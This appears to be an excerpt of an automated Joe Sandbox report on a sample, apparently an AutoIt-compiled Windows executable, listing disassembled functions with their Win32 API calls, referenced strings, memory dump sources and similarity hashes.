Instruction Fuzzy Hash: 82415775A01309EFDB14CFA4D844BAABBB5FF49392F140029ED46A7360D734AA18CF90

Function 00821EDF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

Part of subcall function 00823CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00823CCA

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00821F64
GetDlgCtrlID.USER32 ref: 00821F6F
GetParent.USER32 ref: 00821F8B
SendMessageW.USER32(00000000,?,00000111,?), ref: 00821F8E
GetDlgCtrlID.USER32(?), ref: 00821F97
GetParent.USER32(?), ref: 00821FAB
SendMessageW.USER32(00000000,?,00000111,?), ref: 00821FAE

Strings

ComboBox, xrefs: 00821EEC
ListBox, xrefs: 00821F21

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: c00da9a20fbe483b967b40e87321349413e794f207e18e80062d5e33f3539c5b
Instruction ID: 566f2b534bc7bfec6d9b8a9c1a8aa497066bb24dcefce2a3dafffbb5539ac9d5
Opcode Fuzzy Hash: c00da9a20fbe483b967b40e87321349413e794f207e18e80062d5e33f3539c5b
Instruction Fuzzy Hash: 2A21C570A00214BFCF04AFA0DC59EEEBBB5FF25310B100119F961A7291DB385A54DB60

Function 00853A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00853A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00853AA0
GetWindowLongW.USER32(?,000000F0), ref: 00853AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00853AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00853B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00853BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00853BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00853BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00853BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00853C13

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 234ab90af00932a804482343aef1084e8fe9ae74e39771d01afef405a77df36c
Instruction ID: 39c229bde0c697f8fb87be3bc3fbbd7d2b035bc408bf926c02d46fcaf21aa115
Opcode Fuzzy Hash: 234ab90af00932a804482343aef1084e8fe9ae74e39771d01afef405a77df36c
Instruction Fuzzy Hash: 1E617875A00208AFDB11DFA8CC85EEEB7B8FB09750F14409AFA15E72A1C774AE45DB50

Function 007F2C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007F2C94

Part of subcall function 007F29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000), ref: 007F29DE
Part of subcall function 007F29C8: GetLastError.KERNEL32(00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000,00000000), ref: 007F29F0

_free.LIBCMT ref: 007F2CA0
_free.LIBCMT ref: 007F2CAB
_free.LIBCMT ref: 007F2CB6
_free.LIBCMT ref: 007F2CC1
_free.LIBCMT ref: 007F2CCC
_free.LIBCMT ref: 007F2CD7
_free.LIBCMT ref: 007F2CE2
_free.LIBCMT ref: 007F2CED
_free.LIBCMT ref: 007F2CFB

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7b75c0e7b2429211e8078bde9c561d54c2d89f3ec88833cdb2bd27df62978d69
Instruction ID: 148bf57f52749e1f80555ee72404c39cbf539e99d82ee78528d34da244b03d05
Opcode Fuzzy Hash: 7b75c0e7b2429211e8078bde9c561d54c2d89f3ec88833cdb2bd27df62978d69
Instruction Fuzzy Hash: 5A11807614010DEFCB02EF94D886CAD3BA5BF05350F5144A5FA48AB332DA75EA519F90

Function 00837DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00837FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00837FC1
GetFileAttributesW.KERNEL32(?), ref: 00837FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00838005
SetCurrentDirectoryW.KERNEL32(?), ref: 00838017
SetCurrentDirectoryW.KERNEL32(?), ref: 00838060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 008380B0

Strings

*.*, xrefs: 00838066

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: e8ec9025c627e1b97cae3c6a3010e9143f9517a67ec349d198c5e5cc35674310
Instruction ID: 18ea1dee8fadd51b538f60904bdd7673d6c1bf29969d97ac1c4da601d3e05785
Opcode Fuzzy Hash: e8ec9025c627e1b97cae3c6a3010e9143f9517a67ec349d198c5e5cc35674310
Instruction Fuzzy Hash: 75817DB2508345DBCB34EF14C894AAAB3E8FBC8714F14486EF885D7250EB79DD458B92

Function 007C5BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 007C5C7A

Part of subcall function 007C5D0A: GetClientRect.USER32(?,?), ref: 007C5D30
Part of subcall function 007C5D0A: GetWindowRect.USER32(?,?), ref: 007C5D71
Part of subcall function 007C5D0A: ScreenToClient.USER32(?,?), ref: 007C5D99

GetDC.USER32 ref: 008046F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00804708
SelectObject.GDI32(00000000,00000000), ref: 00804716
SelectObject.GDI32(00000000,00000000), ref: 0080472B
ReleaseDC.USER32(?,00000000), ref: 00804733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 008047C4

Strings

U, xrefs: 00804693

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: cfd3eb0f1f8b6aa1d693881df3a001e3861b63f9482b759d13e9408ee52497e2
Instruction ID: ce6abef5fbf266bc86b5a3458114e8310efb7b12000445c9182520b3e11f88a4
Opcode Fuzzy Hash: cfd3eb0f1f8b6aa1d693881df3a001e3861b63f9482b759d13e9408ee52497e2
Instruction Fuzzy Hash: DF71F170500209DFCF618F64CD84EBA3BB1FF4A315F185269EE519A2A6D7369881DF60

Function 0083359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 008335E4

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

LoadStringW.USER32(00892390,?,00000FFF,?), ref: 0083360A

Strings

Line %d (File "%s"):, xrefs: 0083366B
Error: , xrefs: 008336EF
^ ERROR, xrefs: 008336C9
"%s" (%d) : ==> %s:%s%s, xrefs: 00833724
"%s" (%d) : ==> %s:, xrefs: 00833742

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: ecee116e0739371d9298d38b3b360d59f6b16837960df311462c52e91b943f6f
Instruction ID: ad8d2e08a3e4e001e93e7c25c4fb0c91338eff452f960f4ecd1827d2dde71829
Opcode Fuzzy Hash: ecee116e0739371d9298d38b3b360d59f6b16837960df311462c52e91b943f6f
Instruction Fuzzy Hash: DF516D7190021AFADF14EBA0DC4AEEDBB78FF14340F144129F515B21A1EB381A98DFA1

Function 00858B02 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007D9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 007D9BB2

Part of subcall function 007D912D: GetCursorPos.USER32(?), ref: 007D9141
Part of subcall function 007D912D: ScreenToClient.USER32(00000000,?), ref: 007D915E
Part of subcall function 007D912D: GetAsyncKeyState.USER32(00000001), ref: 007D9183
Part of subcall function 007D912D: GetAsyncKeyState.USER32(00000002), ref: 007D919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00858B6B
ImageList_EndDrag.COMCTL32 ref: 00858B71
ReleaseCapture.USER32 ref: 00858B77
SetWindowTextW.USER32(?,00000000), ref: 00858C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00858C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00858CFF

Strings

@GUI_DRAGFILE, xrefs: 00858C9A
@GUI_DROPID, xrefs: 00858C51

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 45a20af77e1f91a98fbccf10722cd97f45fefe1a068290186b3c5cc9800a2255
Instruction ID: 6c29c2614dd13b6dbda373de9008d52255541dd91e76d59b288dbadacd7a6155
Opcode Fuzzy Hash: 45a20af77e1f91a98fbccf10722cd97f45fefe1a068290186b3c5cc9800a2255
Instruction Fuzzy Hash: 6F517C71104304AFDB00EF24DC5AFAA77E4FB84715F44062EF956A72A1DB749D08CB62

Function 0083C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0083C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0083C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0083C2CA
GetLastError.KERNEL32 ref: 0083C322
SetEvent.KERNEL32(?), ref: 0083C336
InternetCloseHandle.WININET(00000000), ref: 0083C341

Strings

, xrefs: 0083C2BB

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 62069151e0132c7c2778360bfa362ffcb3f4d01cfb748e1ef172c66bccae6949
Instruction ID: 6412d31e1343938fdaabcf3b6f47eeed56a73ad4d9907122ef4fa7cea6b2ea44
Opcode Fuzzy Hash: 62069151e0132c7c2778360bfa362ffcb3f4d01cfb748e1ef172c66bccae6949
Instruction Fuzzy Hash: 52314DB1600708AFDB219F65DC88AAB7BFCFB89745F14851DF446E6200DB34DD059BA1

Function 0082989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00803AAF,?,?,Bad directive syntax error,0085CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 008298BC
LoadStringW.USER32(00000000,?,00803AAF,?), ref: 008298C3

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00829987

Strings

Line %d:, xrefs: 00829912
Line %d (File "%s"):, xrefs: 0082992D
., xrefs: 0082996D
%s (%d) : ==> %s.: %s %s, xrefs: 008298F1
Error: , xrefs: 00829955

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 1f1a3fba22dcf1b714b8bdf5cc9490acbec906fc5dbd901f3c6d2856531527e2
Instruction ID: ec59cfcd30ed32bce4f2491fa1bd39d6a9e0e23edde665cbc686ab7efa9a5cf8
Opcode Fuzzy Hash: 1f1a3fba22dcf1b714b8bdf5cc9490acbec906fc5dbd901f3c6d2856531527e2
Instruction Fuzzy Hash: AF21803190031AEBCF11AF90DC0AEEE7779FF18304F04445EF529A61A2EB399668CB11

Function 0082209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 008220AB
GetClassNameW.USER32(00000000,?,00000100), ref: 008220C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 0082214D

Strings

largeicons, xrefs: 008220E1
details, xrefs: 008220FB
list, xrefs: 0082212F
SHELLDLL_DefView, xrefs: 008220CC
smallicons, xrefs: 00822115

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: a9f5a792dc54f11396f29cd57d1abb4f5c0dd6c7534b22e965e57d3e19e56493
Instruction ID: 457452c497638deedea74084079feb82a7b57569c9a3c097be2f8d19aad2ccb1
Opcode Fuzzy Hash: a9f5a792dc54f11396f29cd57d1abb4f5c0dd6c7534b22e965e57d3e19e56493
Instruction Fuzzy Hash: 8211277A684716F9F6012221AC0ACE637DCFF18334B200026F704E40D1FF6978A15618

Function 007FCE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 007FCEB7
_free.LIBCMT ref: 007FCF22
_free.LIBCMT ref: 007FCF48
_free.LIBCMT ref: 007FCF71
_free.LIBCMT ref: 007FCFA9
_free.LIBCMT ref: 007FCFDA
_free.LIBCMT ref: 007FD01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 007FD09C
_free.LIBCMT ref: 007FD0B5

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 7f499602bd6a6e0557cae1bba3f6a1d69fdaddf647049b7ab8035206d1c0cc6a
Instruction ID: c5f044e4c979612d5c0d8d6c691afa57c06959d708f898b73044ebe8bcbe0b89
Opcode Fuzzy Hash: 7f499602bd6a6e0557cae1bba3f6a1d69fdaddf647049b7ab8035206d1c0cc6a
Instruction Fuzzy Hash: 8361287290430DAFDB22AFB49949679BBE5EF05320F04426EFB41A7382D63D9D019B50

Function 008550D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00855186
ShowWindow.USER32(?,00000000), ref: 008551C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 008551CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 008551D1

Part of subcall function 00856FBA: DeleteObject.GDI32(00000000), ref: 00856FE6

GetWindowLongW.USER32(?,000000F0), ref: 0085520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0085521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0085524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00855287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00855296

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 33117f2f06b6a3353abfc608c49c1a3258bf50d33af087dc2f586768ece78ee8
Instruction ID: 18ca3a688ade054c403ff73cb2f014919265f0ba615df94e765a9b297b104c4b
Opcode Fuzzy Hash: 33117f2f06b6a3353abfc608c49c1a3258bf50d33af087dc2f586768ece78ee8
Instruction Fuzzy Hash: 4C518F30A90A09BEEF209F24CC69B983BA5FB05367F144016FE15D66E0C775A988DF41

Function 007D8B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00816890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 008168A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 008168B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 008168D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 008168F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,007D8874,00000000,00000000,00000000,000000FF,00000000), ref: 00816901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0081691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,007D8874,00000000,00000000,00000000,000000FF,00000000), ref: 0081692D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 6f58edd349530dc4748dd7c2b5755c61b182fa7bd101d4cd3cd32b1d25c521ea
Instruction ID: 35a7f22effe271234a2e4a27f2b0d7205f7cd8c0b0e06e82e41cf8501165d792
Opcode Fuzzy Hash: 6f58edd349530dc4748dd7c2b5755c61b182fa7bd101d4cd3cd32b1d25c521ea
Instruction Fuzzy Hash: 69518AB0600305EFDB20DF28CC95FAA7BB5FF48351F14452AF956D62A0EB74A990DB50

Function 0083C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0083C182
GetLastError.KERNEL32 ref: 0083C195
SetEvent.KERNEL32(?), ref: 0083C1A9

Part of subcall function 0083C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0083C272
Part of subcall function 0083C253: GetLastError.KERNEL32 ref: 0083C322
Part of subcall function 0083C253: SetEvent.KERNEL32(?), ref: 0083C336
Part of subcall function 0083C253: InternetCloseHandle.WININET(00000000), ref: 0083C341

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 3c5f5ce8dcd88b892bae7295606955a3dae050b54e8220e570441d1ca6d32710
Instruction ID: 55a03792e8d970f7e1cb8b637689345fc726e385bf9329e2c6fdd7acb07f66be
Opcode Fuzzy Hash: 3c5f5ce8dcd88b892bae7295606955a3dae050b54e8220e570441d1ca6d32710
Instruction Fuzzy Hash: CC317871200705AFDB219FA9DC44A6BBBE9FF98301F00442DF956E6610DB34E814EFA0

Function 008225A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00823A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00823A57
Part of subcall function 00823A3D: GetCurrentThreadId.KERNEL32 ref: 00823A5E
Part of subcall function 00823A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,008225B3), ref: 00823A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 008225BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 008225DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 008225DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 008225E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00822601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00822605
MapVirtualKeyW.USER32(00000025,00000000), ref: 0082260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00822623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00822627

Memory Dump Source

